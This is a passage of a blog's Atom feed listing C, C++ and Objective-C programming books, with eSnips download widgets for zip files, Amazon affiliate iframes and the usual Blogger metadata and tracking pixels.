style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/6e4472f2-82f6-43c2-8955-936f070ad08f/C-Primer-Plus/?widget=documentIcon"&gt;C-Primer-Plus.zip&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-1804986195226353570?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/1804986195226353570/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-primer-plus.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/1804986195226353570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/1804986195226353570'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-primer-plus.html' title='C-Primer-Plus'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-6599233754936187189</id><published>2011-03-24T14:03:00.002-07:00</published><updated>2011-03-24T14:03:57.295-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>C_By_Example</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/5a0993b2-7a0d-40f5-90f5-7f24bcf44bb8/C_By_Example/?widget=documentIcon"&gt;&lt;img border="0" alt="C_By_Example" title="click to ViewC_By_Example" src="/images/thumbs/thumb.zip.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/5a0993b2-7a0d-40f5-90f5-7f24bcf44bb8/C_By_Example/?widget=documentIcon"&gt;C_By_Example.zip&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-6599233754936187189?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/6599233754936187189/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/cbyexample.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6599233754936187189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6599233754936187189'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/cbyexample.html' title='C_By_Example'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-6052820726374800191</id><published>2011-03-24T14:03:00.000-07:00</published><updated>2011-03-24T14:03:14.459-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>C++ By Bjarne Stroustroup</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/b415330e-e3f2-4ae5-8bad-4fa40a9e21cf/C++-By-Bjarne-Stroustroup/?widget=documentIcon"&gt;&lt;img border="0" alt="C++ By Bjarne Stroustroup" title="click to ViewC++ By Bjarne Stroustroup" src="/images/thumbs/thumb.zip.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/b415330e-e3f2-4ae5-8bad-4fa40a9e21cf/C++-By-Bjarne-Stroustroup/?widget=documentIcon"&gt;C++ By Bjarne Stro...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-6052820726374800191?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/6052820726374800191/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-by-bjarne-stroustroup.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6052820726374800191'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6052820726374800191'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-by-bjarne-stroustroup.html' title='C++ By Bjarne Stroustroup'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-3765113802642987083</id><published>2011-03-24T01:35:00.001-07:00</published><updated>2011-03-24T01:35:32.571-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Practical C Programming, 3rd Edition</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=1565923065&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-3765113802642987083?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/3765113802642987083/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/practical-c-programming-3rd-edition.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3765113802642987083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3765113802642987083'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/practical-c-programming-3rd-edition.html' title='Practical C Programming, 3rd Edition'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-3149053797305795855</id><published>2011-03-24T01:35:00.000-07:00</published><updated>2011-03-24T01:35:19.214-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Design Patterns for Embedded Systems in C: An Embedded Software …</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=1856177076&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-3149053797305795855?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/3149053797305795855/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/design-patterns-for-embedded-systems-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3149053797305795855'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3149053797305795855'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/design-patterns-for-embedded-systems-in.html' title='Design Patterns for Embedded Systems in C: An Embedded Software …'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-5237631687062986128</id><published>2011-03-24T01:34:00.001-07:00</published><updated>2011-03-24T01:34:32.528-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>TCP/IP Sockets in C Bundle: TCP/IP Sockets in C, Second Edition: Pr…</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=0123745403&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-5237631687062986128?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/5237631687062986128/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/tcpip-sockets-in-c-bundle-tcpip-sockets.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/5237631687062986128'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/5237631687062986128'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/tcpip-sockets-in-c-bundle-tcpip-sockets.html' title='TCP/IP Sockets in C Bundle: TCP/IP Sockets in C, Second Edition: Pr…'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-3840411690186571494</id><published>2011-03-24T01:33:00.002-07:00</published><updated>2011-03-24T01:33:54.356-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Programming and Problem Solving with C++: Comprehensive E…</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=0763771562&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-3840411690186571494?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/3840411690186571494/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-and-problem-solving-with-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3840411690186571494'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3840411690186571494'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-and-problem-solving-with-c.html' title='Programming and Problem Solving with C++: Comprehensive E…'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-6242468357516301872</id><published>2011-03-24T01:33:00.000-07:00</published><updated>2011-03-24T01:33:10.942-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>C Primer Plus (5th Edition)</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=0672326965&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-6242468357516301872?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/6242468357516301872/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-primer-plus-5th-edition.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6242468357516301872'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6242468357516301872'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-primer-plus-5th-edition.html' title='C Primer Plus (5th Edition)'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-5915853981205750990</id><published>2011-03-24T01:32:00.001-07:00</published><updated>2011-03-24T01:32:19.029-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Learn Objective-C on the Mac (Learn Series)</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=1430218150&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-5915853981205750990?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/5915853981205750990/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/learn-objective-c-on-mac-learn-series.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/5915853981205750990'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/5915853981205750990'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/learn-objective-c-on-mac-learn-series.html' title='Learn Objective-C on the Mac (Learn Series)'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-728407347170020272</id><published>2011-03-24T01:31:00.001-07:00</published><updated>2011-03-24T01:31:37.847-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Programming 8-bit PIC Microcontrollers in C: with Interactive Hardware Si…</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=0750689609&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-728407347170020272?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/728407347170020272/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-8-bit-pic-microcontrollers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/728407347170020272'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/728407347170020272'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-8-bit-pic-microcontrollers.html' title='Programming 8-bit PIC Microcontrollers in C: with Interactive Hardware Si…'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-482354993454513466</id><published>2011-03-24T01:30:00.001-07:00</published><updated>2011-03-24T01:30:20.879-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Objective-C Pocket Reference</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=0596004230&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-482354993454513466?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/482354993454513466/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/objective-c-pocket-reference.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/482354993454513466'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/482354993454513466'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/objective-c-pocket-reference.html' title='Objective-C Pocket Reference'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-3971951147648638978</id><published>2011-03-24T01:29:00.003-07:00</published><updated>2011-03-24T01:29:48.657-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Secure Coding in C and C++</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=0321335724&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-3971951147648638978?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/3971951147648638978/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/secure-coding-in-c-and-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3971951147648638978'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3971951147648638978'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/secure-coding-in-c-and-c.html' title='Secure Coding in C and C++'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-682583388349461208</id><published>2011-03-24T01:29:00.001-07:00</published><updated>2011-03-24T01:29:12.704-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Programming Embedded Systems in C and C ++</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=1565923545&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-682583388349461208?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/682583388349461208/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-embedded-systems-in-c-and-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/682583388349461208'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/682583388349461208'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/programming-embedded-systems-in-c-and-c.html' title='Programming Embedded Systems in C and C ++'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-8040510705178899232</id><published>2011-03-24T01:28:00.001-07:00</published><updated>2011-03-24T01:28:42.006-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Parallel Programming in C with MPI and OpenMP</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=0071232656&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-8040510705178899232?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/8040510705178899232/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/parallel-programming-in-c-with-mpi-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8040510705178899232'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8040510705178899232'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/parallel-programming-in-c-with-mpi-and.html' title='Parallel Programming in C with MPI and OpenMP'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-2994640566299535639</id><published>2011-03-24T01:27:00.003-07:00</published><updated>2011-03-24T01:27:59.621-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Sams Teach Yourself C in 21 Days (6th Edition)</title><content type='html'>&lt;iframe src="http://rcm.amazon.com/e/cm?t=ilo0ab-20&amp;o=1&amp;p=8&amp;l=bpl&amp;asins=0672324482&amp;fc1=000000&amp;IS2=1&amp;lt1=_blank&amp;m=amazon&amp;lc1=0000FF&amp;bc1=000000&amp;bg1=FFFFFF&amp;f=ifr" style="align:left;padding-top:5px;width:131px;height:245px;padding-right:10px;"align="left" scrolling="no" marginwidth="0" marginheight="0" frameborder="0"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-2994640566299535639?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/2994640566299535639/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/sams-teach-yourself-c-in-21-days-6th.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/2994640566299535639'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/2994640566299535639'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/sams-teach-yourself-c-in-21-days-6th.html' title='Sams Teach Yourself C in 21 Days (6th Edition)'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 